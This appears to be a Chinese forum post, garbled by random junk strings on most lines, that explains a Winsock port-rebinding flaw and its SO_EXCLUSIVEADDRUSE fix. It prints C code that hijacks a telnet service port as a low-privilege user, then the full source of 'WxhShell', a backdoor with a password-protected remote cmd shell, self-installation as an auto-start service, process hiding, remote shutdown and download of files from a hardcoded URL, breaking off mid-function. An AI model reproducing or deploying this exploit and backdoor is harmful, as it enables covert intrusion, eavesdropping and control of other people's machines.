在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
yW!+:y_N_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Wi5rXZS dm+}nQI\ saddr.sin_family = AF_INET;
@#?w>38y J: T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|
WN9& *}n)KK7aT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@S>$y5if )dMXn2O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
wBb J
\ rF*L@HI 这意味着什么?意味着可以进行如下的攻击:
D|lm, S7A[HG; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.bT+#x YM(`E9{h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_Cd_i[K[ Tam\,j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,]\: ]Y&? Vjc*D] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^-|yF2>` 3!OO_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
MUeS8:q-N -l ?J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
H)Kt!v8 ':[:12y[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2o\GU ENEn Hu^ #include
pEn3:.l< #include
.0eHP #include
cfg_xrW0^ #include
w{HDCPuS DWORD WINAPI ClientThread(LPVOID lpParam);
NETji:d int main()
(K}Md~ {
qOi3`6LCV WORD wVersionRequested;
} XJZw|n DWORD ret;
\i +=tGY WSADATA wsaData;
Mb2rHUr BOOL val;
J(s%"d SOCKADDR_IN saddr;
51Nh"JTy SOCKADDR_IN scaddr;
Z\)emps int err;
!:7aXT*D$ SOCKET s;
EA/+~ux SOCKET sc;
=)p/p6 int caddsize;
_&~y{;)S HANDLE mt;
!FhiTh:GCh DWORD tid;
u{/!BCKE wVersionRequested = MAKEWORD( 2, 2 );
qUMM}ls err = WSAStartup( wVersionRequested, &wsaData );
bO:m^* if ( err != 0 ) {
o YZmz printf("error!WSAStartup failed!\n");
yU"'h[^ return -1;
qZ8V/ }
,XZ[L?
> saddr.sin_family = AF_INET;
n*
7mP ?pLKUA h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P!Mz5QZ+ A)X 'We saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"E><:_,\ saddr.sin_port = htons(23);
t\p_QWnF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!{L6
4qI {
S(5aJ[7Zm printf("error!socket failed!\n");
F%v?,`_&I return -1;
BU|bo") }
`T;M=S^y*E val = TRUE;
?D^l&`S //SO_REUSEADDR选项就是可以实现端口重绑定的
}g? 9/)z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w Jb\Q {
05+uBwH printf("error!setsockopt failed!\n");
1Xv- e8M return -1;
/^d!$v }
jq4{UW' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
fR4O^6c: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<^Hh5kfS' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>#MGGCGL -/s2' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j})6O! L. {
(:p&[HNuN ret=GetLastError();
P9wx`x""k printf("error!bind failed!\n");
+bj[. return -1;
`_+j+ }
lIN`1vX( listen(s,2);
#Moju while(1)
fy|Ae {
mST/u>' caddsize = sizeof(scaddr);
-6+&?f //接受连接请求
nsq7,%5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
y?|JBf if(sc!=INVALID_SOCKET)
={a8=E!; {
p^LUyLG` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
XOM@Pi#z if(mt==NULL)
n{~Ws^d {
Y^? J3[@ printf("Thread Creat Failed!\n");
}tIIA"dZ break;
@jE<V=? }
RyGce'
q }
ya9V+/i7T_ CloseHandle(mt);
|!\(eLR9> }
<*Kj7o{Qn closesocket(s);
27;t,Oq} WSACleanup();
UeVRd return 0;
P2nb&lVdu }
. <|7BHL DWORD WINAPI ClientThread(LPVOID lpParam)
+^c;4-X
0 {
>Fzu]G4] SOCKET ss = (SOCKET)lpParam;
!J}Bv SOCKET sc;
Xegg2.Kk unsigned char buf[4096];
;UU+:~ SOCKADDR_IN saddr;
ak?XE4-N long num;
/lQGFLZL DWORD val;
~PT(/L DWORD ret;
#du!tx ( _ //如果是隐藏端口应用的话,可以在此处加一些判断
(aX5VB ** //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
w*})ZYIUT saddr.sin_family = AF_INET;
1or4s{bmo saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B_k[N}|zD saddr.sin_port = htons(23);
!9l
c6W if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=$B:i>z< {
-P09u82 printf("error!socket failed!\n");
=NH
p%| return -1;
0ih=<@1 K }
o)P'H"Ki val = 100;
Y9TaU]7] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gE/O29Y {
e+z_Rj%Y;I ret = GetLastError();
G<C[A
return -1;
mCFScT }
zY<=r.m4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c}II"P {
vZM.gn ret = GetLastError();
K h}Oiw return -1;
Cwxy~.mI }
F z_SID if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Q0f7gY1-% {
i#t)tM" printf("error!socket connect failed!\n");
-E4e8'P;5 closesocket(sc);
1/Pou)D closesocket(ss);
\c&%F=1+* return -1;
?hh4M }
HR55|`] while(1)
;zD1#dD {
A0SEzX({[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\:
H&.VQ" //如果是嗅探内容的话,可以再此处进行内容分析和记录
"CdL?( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_5vAnt* num = recv(ss,buf,4096,0);
We#u-#k_O if(num>0)
[N}:Di,S send(sc,buf,num,0);
)5r *2I else if(num==0)
uL^Qtmm>M break;
igp[cFN num = recv(sc,buf,4096,0);
'aQ"&GX@ if(num>0)
NhyVX%qt: send(ss,buf,num,0);
<im
BFw else if(num==0)
yz}Agc4.I break;
F:.rb
Ei }
(gQ^jmZPG closesocket(ss);
DFKU?#R closesocket(sc);
c|[:vin return 0 ;
qALlMj--m }
/s3AZ j9 <wge_3W# -MV </ ==========================================================
ST3aiyG YFD'&N,sx 下边附上一个代码,,WXhSHELL
7z'l}*FRD K.?~@5% ==========================================================
ve2GRTO^aC n$Z@7r #include "stdafx.h"
#pbPaRJL( ,[}5@cS #include <stdio.h>
Kd8V,teH #include <string.h>
R9o3T)9V #include <windows.h>
#EiOC.A= #include <winsock2.h>
[Y_6PR #include <winsvc.h>
A.<HOx #include <urlmon.h>
4oT1<n`r+ PW"G]G, #pragma comment (lib, "Ws2_32.lib")
V-U,3=C #pragma comment (lib, "urlmon.lib")
>OVi{NyT L+7j4:$B8 #define MAX_USER 100 // 最大客户端连接数
l@Vl^f~ P #define BUF_SOCK 200 // sock buffer
Z
55iq #define KEY_BUFF 255 // 输入 buffer
UXVjRY`M.\ f}g )3+i #define REBOOT 0 // 重启
tuuc9H4B #define SHUTDOWN 1 // 关机
;aKdRhDo PR=:3-#R #define DEF_PORT 5000 // 监听端口
6RV]9 iha{(- #define REG_LEN 16 // 注册表键长度
[pOQpfo\ #define SVC_LEN 80 // NT服务名长度
m5lMh14E RwMK%^b // 从dll定义API
hM")DmvB4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{x e$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
W-:gU!{*# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
w?6"`Mo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
FN5*pVD;< O^v^GG=e;C // wxhshell配置信息
|Ui1Mm struct WSCFG {
4:-h\% int ws_port; // 监听端口
!uLW-[F, char ws_passstr[REG_LEN]; // 口令
QLYb>8?"C int ws_autoins; // 安装标记, 1=yes 0=no
bE
_=L=NG char ws_regname[REG_LEN]; // 注册表键名
R9Wh/@J] char ws_svcname[REG_LEN]; // 服务名
e0%?;w-TL char ws_svcdisp[SVC_LEN]; // 服务显示名
_Z'j%/-4@D char ws_svcdesc[SVC_LEN]; // 服务描述信息
})O^xF~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W!pLk/|ls int ws_downexe; // 下载执行标记, 1=yes 0=no
<Y9vc:S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w4U]lg<}E char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7Wb:^.d
g ,Ju f };
qepsR/0M l$D]*_ jc, // default Wxhshell configuration
EotZ$O= struct WSCFG wscfg={DEF_PORT,
(#FWA<o "xuhuanlingzhe",
n.]K"$230 1,
2'_xg~ "Wxhshell",
}:C4T*| "Wxhshell",
ri&B%AAc "WxhShell Service",
;o]'7qGb "Wrsky Windows CmdShell Service",
Cdl#LVqs "Please Input Your Password: ",
%1fH-:c=C0 1,
(KR$PLxDK "
http://www.wrsky.com/wxhshell.exe",
$lmbeW[0 "Wxhshell.exe"
)Q\nR`k };
&/*XA ;:Q 5?zM // 消息定义模块
PLR[nB7K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E+Z//)1Z char *msg_ws_prompt="\n\r? for help\n\r#>";
v#
ab2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@K/}Ob4
char *msg_ws_ext="\n\rExit.";
=vLeOX char *msg_ws_end="\n\rQuit.";
\tTZN char *msg_ws_boot="\n\rReboot...";
=8S*t5 char *msg_ws_poff="\n\rShutdown...";
=,&PD(. char *msg_ws_down="\n\rSave to ";
+h^>?U, |
Zx char *msg_ws_err="\n\rErr!";
X=)Ue char *msg_ws_ok="\n\rOK!";
"M5P-l$p} Ub=g<MYHV char ExeFile[MAX_PATH];
kFmd):U!R int nUser = 0;
%7 h_D HANDLE handles[MAX_USER];
4VINu9\V int OsIsNt;
mw)KyU#l,: F2!C^r,~L SERVICE_STATUS serviceStatus;
!K^.r_0H. SERVICE_STATUS_HANDLE hServiceStatusHandle;
IBWUXG; s 7re // 函数声明
^Ts|/+}'i int Install(void);
MjCD;I:C. int Uninstall(void);
$A\fm` int DownloadFile(char *sURL, SOCKET wsh);
An cmSi int Boot(int flag);
$6.CN# void HideProc(void);
8B;wn<O int GetOsVer(void);
H%NIdgo} int Wxhshell(SOCKET wsl);
nPh5(&E void TalkWithClient(void *cs);
w1B!z int CmdShell(SOCKET sock);
[YG\a5QK int StartFromService(void);
@ SaU2 int StartWxhshell(LPSTR lpCmdLine);
ScU?T<u:i W|J8QNL?jm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?{l}35Q.@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
:4s{?IY)l :GXiA // 数据结构和表定义
?.E6Ube SERVICE_TABLE_ENTRY DispatchTable[] =
^6s< {
)8vz4e Y {wscfg.ws_svcname, NTServiceMain},
@Z> {/ {NULL, NULL}
]TQ2PVN2 };
v'uWmL7C j:K>3?
// 自我安装
eAN]*:]g int Install(void)
%Cbqi.iuQ {
|k$^RU<OF char svExeFile[MAX_PATH];
FWI<_KZO HKEY key;
]s-;*o\H strcpy(svExeFile,ExeFile);
x? 3U3\W W1S7%6y_1 // 如果是win9x系统,修改注册表设为自启动
8P5yaS_ if(!OsIsNt) {
Rhh5r0 \5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
||3%REliC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!'uL RegCloseKey(key);
V(Ll]g/T_; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PjZsMHW% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A g=>F5 RegCloseKey(key);
ZaJg$ return 0;
mne4u W }
-
y[nMEE }
>+y[HTf- }
rZ`ob x\S else {
9r.Os N"SFVc_2 // 如果是NT以上系统,安装为系统服务
|}N -5U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Zg1=g_xY if (schSCManager!=0)
Rd~-.&
{
9/3gF)I} SC_HANDLE schService = CreateService
xtWQ. (
&}:'YK*X schSCManager,
\'Oi0qo> wscfg.ws_svcname,
ZHT_o\ wscfg.ws_svcdisp,
o?(({HH SERVICE_ALL_ACCESS,
x01 n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(os}s8cIh SERVICE_AUTO_START,
+{U0PI82 SERVICE_ERROR_NORMAL,
A\p'\@f svExeFile,
c,nE@~ul2 NULL,
Hx[YHu
KL^ NULL,
ax$ashFO/! NULL,
~<
%%n'xmm NULL,
;8\w$SPP NULL
_b8&$\> );
^R- -&{I if (schService!=0)
6'CZfs\ {
2F9Gx;}t5= CloseServiceHandle(schService);
~+w'b7T,= CloseServiceHandle(schSCManager);
4po zTe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
n{sF'n</ strcat(svExeFile,wscfg.ws_svcname);
SQ%B"1&$D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;NNYJqWd^] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-X+G_rY RegCloseKey(key);
%(lr.9.]H return 0;
R-8>, }
\]RPxM:_> }
6;s.%W CloseServiceHandle(schSCManager);
PyQt8Qlz }
UhKC:<% }
xgoG>~F Qj;wklq return 1;
iUDN m|e }
~D# -i >Z 2;h4$^`dt // 自我卸载
q"){PRTm/ int Uninstall(void)
O[%"zO"S {
&V/n!|q<H HKEY key;
vbEAd)*S )!SA]>- if(!OsIsNt) {
'fpm] *ig if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y'-@O"pK RegDeleteValue(key,wscfg.ws_regname);
OsI>gX> RegCloseKey(key);
l;{n"F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%N5gQXg RegDeleteValue(key,wscfg.ws_regname);
:/YHU3 ~Y RegCloseKey(key);
*_feD+rq return 0;
o/0cd }
"#zSk=52z }
y!_*CYZ~m }
S,ZlS<Z# else {
MLD1%* &0 I`hltJM' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s
Dq{h if (schSCManager!=0)
7{jB!Xj {
2to~=/. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|2RoDW if (schService!=0)
[+,%T;d; {
:
:;YS9e if(DeleteService(schService)!=0) {
aumWU{j= CloseServiceHandle(schService);
}%e"A4v CloseServiceHandle(schSCManager);
%f[0&)1!.v return 0;
B=dF\.&Z }
D{'>G@nLQ CloseServiceHandle(schService);
J,N='~kfh }
Nr~9] S CloseServiceHandle(schSCManager);
z~Zu>Q1u[ }
NTq#'O) f }
2@7f^be O7<- - return 1;
25EuVj`zL }
+yC ]f
b X}j WNN // 从指定url下载文件
]QM{aSvXA int DownloadFile(char *sURL, SOCKET wsh)
Iv,Ub_Ll9 {
2rxZN\gyL HRESULT hr;
R<\5q%@G char seps[]= "/";
HJ5 Ktt char *token;
KD TG9KC char *file;
* AsILK0 char myURL[MAX_PATH];
.`w[A char myFILE[MAX_PATH];
zNTcy1Sthk iakqCjV strcpy(myURL,sURL);
0
0JH*I token=strtok(myURL,seps);
.T!R]n while(token!=NULL)
".0~@W0 {
=;tDYuFc! file=token;
`Uz2(zqS token=strtok(NULL,seps);
|76G#K~<X }
D1xIRyc/ k@}?!V*l GetCurrentDirectory(MAX_PATH,myFILE);
Evjvaa^ strcat(myFILE, "\\");
|[6jf!F strcat(myFILE, file);
M:[rH send(wsh,myFILE,strlen(myFILE),0);
}uZtAH| send(wsh,"...",3,0);
[K 5#4k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
TNi4H:\ if(hr==S_OK)
SynL%Y9)|, return 0;
w_gFN%8 else
@^q|C&j return 1;
;i;2cq ucP"<,a }
<H; z4 Z}X oWT2f // 系统电源模块
*U<l$gajq int Boot(int flag)
$!?tJ@{ {
; JpsRf! HANDLE hToken;
>JSk/]" TOKEN_PRIVILEGES tkp;
NY(z3G R=7,F6. if(OsIsNt) {
nky%Eb[\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Re[x$rw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
So6ZNh9 tkp.PrivilegeCount = 1;
b\Wlpb=QZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
j<* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
62-,!N 1- if(flag==REBOOT) {
*|Bu 7nwg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
to2#PXf]y return 0;
N~=,RPjq }
NE~R&ym9 else {
HQ187IwpTm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
n0\k(@+k return 0;
0c-.h }
{zckY }
yuef84~ else {
E%.w6- if(flag==REBOOT) {
hXAgT!ZD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"d5nVO/ return 0;
d:<</ah }
;#i$5L!*B else {
]3 KMFV} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hRU5CH/! return 0;
v47S9Vm+ }
V(6*wQ`& }
DqH?:`G d*B^pDf return 1;
*UerLpf }
W{El^')F ^Rpy5/d // win9x进程隐藏模块
4uX|2nJ2!; void HideProc(void)
8\lRP,- {
mJ #|~I*Z- /#FU" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
NMy+=GZu^ if ( hKernel != NULL )
HL`=zB% {
:-[y`/R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qH=<8Iu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q,Nhfo( FreeLibrary(hKernel);
39yp1 }
2 -C*RHRx mVs<XnA47 return;
o5(~nQ }
u3k{s W"meH~[Cp // 获取操作系统版本
Gi+ZI{) int GetOsVer(void)
W2`/z)[*> {
yKhN1kY OSVERSIONINFO winfo;
wCitQ0? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
NZQl#ZJH: GetVersionEx(&winfo);
2zPO3xL, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=i1+t"= return 1;
a5dc#f
Kf else
o0)k5P~<~ return 0;
l ~C=yP(~ }
w=Yc(Y:h uE=pq<
// 客户端句柄模块
`zP{E T_Y int Wxhshell(SOCKET wsl)
9 *+X^q' {
\i.Yhl:O SOCKET wsh;
HZl//Uq struct sockaddr_in client;
-Pt']07E DWORD myID;
= }!4%.$ IQ]tcSQl while(nUser<MAX_USER)
sy(8-zbI {
!uc"|S? int nSize=sizeof(client);
K\VL[HP- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
wfMtWXd;KB if(wsh==INVALID_SOCKET) return 1;
]n
'FD| L5RBe handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Hs#q 7 if(handles[nUser]==0)
W1\F-:4L@ closesocket(wsh);
Ve9*>6i&-4 else
\s@7pM=( nUser++;
84f~.45 }
0_f6Qrcj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
DQ`\HY 5faY{;8 return 0;
' 2:HBJ }
(WuJ9 [rO TWN // 关闭 socket
rYfN void CloseIt(SOCKET wsh)
+#RqQ8\ {
K)&oDwk closesocket(wsh);
JBMJR nUser--;
',l}$]y5 ExitThread(0);
q_b,3Tp }
7H$wpn
Zln 5)=YTUCk // 客户端请求句柄
sIz*r Gz void TalkWithClient(void *cs)
u}(K3H3 {
!g2~|G wqE+hKs, SOCKET wsh=(SOCKET)cs;
_!C M char pwd[SVC_LEN];
(>
VD#n char cmd[KEY_BUFF];
5tUN'KEbN char chr[1];
,xOOR int i,j;
2od9Q=v~ vD91t/_+ while (nUser < MAX_USER) {
Z~Vups#+f 8-geBlCE, if(wscfg.ws_passstr) {
\wb0%>
0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@A1Ohl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f2,\B6+ //ZeroMemory(pwd,KEY_BUFF);
"yG*Kh7ur i=0;
AD@-H0Y while(i<SVC_LEN) {
u?V
Tnsu \eoJ6IRE\T // 设置超时
+sm9H"_0 fd_set FdRead;
@q++eGm\Q struct timeval TimeOut;
c W^ FD_ZERO(&FdRead);
A[8vD</}_ FD_SET(wsh,&FdRead);
i}e4P>ADD TimeOut.tv_sec=8;
sA:k8aj TimeOut.tv_usec=0;
nS9 kwaO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ATkx_1]KM- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3v,Bg4[i <d]
t{M62W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
iT,Ya-9" pwd
=chr[0]; u0i;vO)MNt
if(chr[0]==0xd || chr[0]==0xa) { LG:Mksd8=4
pwd=0; $(N+E,XB
break; Sc,ajT
} 3c[< #]8S
i++; 4H@K?b`
} g'<ekY+V:
jlb=]hp8%
// 如果是非法用户,关闭 socket 2|:x_rcj
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K['Gp>l
} nmy!.0SQ-
5K[MKfT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Farix1YDq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "H3DmsB
y%@C-:
while(1) { ;pVnBi
_2wH4^Vb
ZeroMemory(cmd,KEY_BUFF); 5"^Z7+6
[e?vqm .
// 自动支持客户端 telnet标准 bX'.hHR
j=0; "[Hn G(gA
while(j<KEY_BUFF) { x2.YEuSMC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yl UkVr
cmd[j]=chr[0]; <}n"gk1is
if(chr[0]==0xa || chr[0]==0xd) { \\v1\
cmd[j]=0; vQsI^p
break; Gid6,J
}
ZO\x|E!b
j++; ~ "stI
} ]Z=O+7(r
! ~3zp L
// 下载文件 "S^""5
if(strstr(cmd,"http://")) { `HV~.C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1azj%WY
if(DownloadFile(cmd,wsh)) Gcp!"y=i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "D[/o8Hk
else /A"UV\H`f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bd[%=5
} WLA LXJ7
else { I6.}r2?;A
j=y{ey7Fd
switch(cmd[0]) { ^7,`6g
~=i<O&nai
// 帮助 (^9dp[2
case '?': { E.%_i8s
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o@W:PmKW
break; .xV^%e?H
} dH_g:ocA
// 安装 L1u(\zw
case 'i': { &8M^E/#.^;
if(Install()) ZJ'Tb<fP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; wKsi_``@
else _}3NLAqg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =VvQ2Y0h8
break; #-9@*FFL,
} T[+~-D @
// 卸载 ["ML&2|o
case 'r': { 9ELRn@5.
if(Uninstall()) I`4k5KB;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m'YYkq(5%Z
else B0dv_'L}L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X(dHhO
break; 6
TSC7jO
} 1/ <Z6 ?U
// 显示 wxhshell 所在路径 C)R#Om
case 'p': { P?$Iht.^
char svExeFile[MAX_PATH]; EU4j'1!&g<
strcpy(svExeFile,"\n\r"); .g52p+Z#
strcat(svExeFile,ExeFile); f0]`TjY
send(wsh,svExeFile,strlen(svExeFile),0); r0j+P%
break; ' T%70)CM~
} Ot([5/K
// 重启 $ i;_yTht
case 'b': { ~?<VT
k
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^gdv:[m
if(Boot(REBOOT)) 7?a!x$-U(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)]RQ~jY?
else { >@uF ye$
closesocket(wsh); 87q~
nk
ExitThread(0); bC0DzBnM;
} <0!)}O
break; ,;~@t:!c
} E%vT(Kz
// 关机 IW5N^J
case 'd': { d6+{^v$#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zt"3g6S
if(Boot(SHUTDOWN)) YT\.${N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"W,G/;h
else { aa,^+^J
closesocket(wsh); dO|n[/qL0
ExitThread(0); |nT+W|0U
} #1<Jwt+
break; .qg 2zE$0
} ?i5=sK\
// 获取shell h[}e5A]}
case 's': { 8s)(e9Sr
CmdShell(wsh); t>%+[7?6
closesocket(wsh); v%!'vhf_K
ExitThread(0); Hwiftx
break; #!R =h|
} 3iBUIv
// 退出 ;noZmPa
case 'x': { Lu9`(+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zIy&gOX
CloseIt(wsh); Rs;Y|W4'
break; 8Y&_X0T|
} se`^g
,]P
// 离开 ql(~3/kA_
case 'q': { )bR`uV9<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [6cf$FS9
closesocket(wsh); )A=&3Ui)ab
WSACleanup(); M:d }
P
exit(1); =v49[i
break; MKZq*
} NkY7Hg0
} B> V)6\
} w*krPaT3
N`rz>6,k1
// 提示信息 6<{XwmM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 jiy9[
} *(CV OY~
} $[{YE[a
(;cvLop
return; @JU
Xp
} prO ~g
IUSV\X9
// shell模块句柄 j+NsNIJq
int CmdShell(SOCKET sock) -mqL[ h,
{ W~d^ *LZt
STARTUPINFO si; 3fdqFJ O
ZeroMemory(&si,sizeof(si)); w'zSV1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `*w!S8} m;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *r].EBJ\
PROCESS_INFORMATION ProcessInfo; :?f^D,w_B
char cmdline[]="cmd"; )2: ,E
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4v;KtD;M
return 0; ]Pf!wv
} iKA}??5e
Z@6xu;O
// 自身启动模式 E<r<ObeRv`
int StartFromService(void) Z^6qxZJ7
{ 33OkYC%e
typedef struct ]3I@5 }5%
{ m)e~HP7M
DWORD ExitStatus; rB}2F*eT
DWORD PebBaseAddress; ^C70b)68
DWORD AffinityMask; mae@L
DWORD BasePriority; \.Z
/
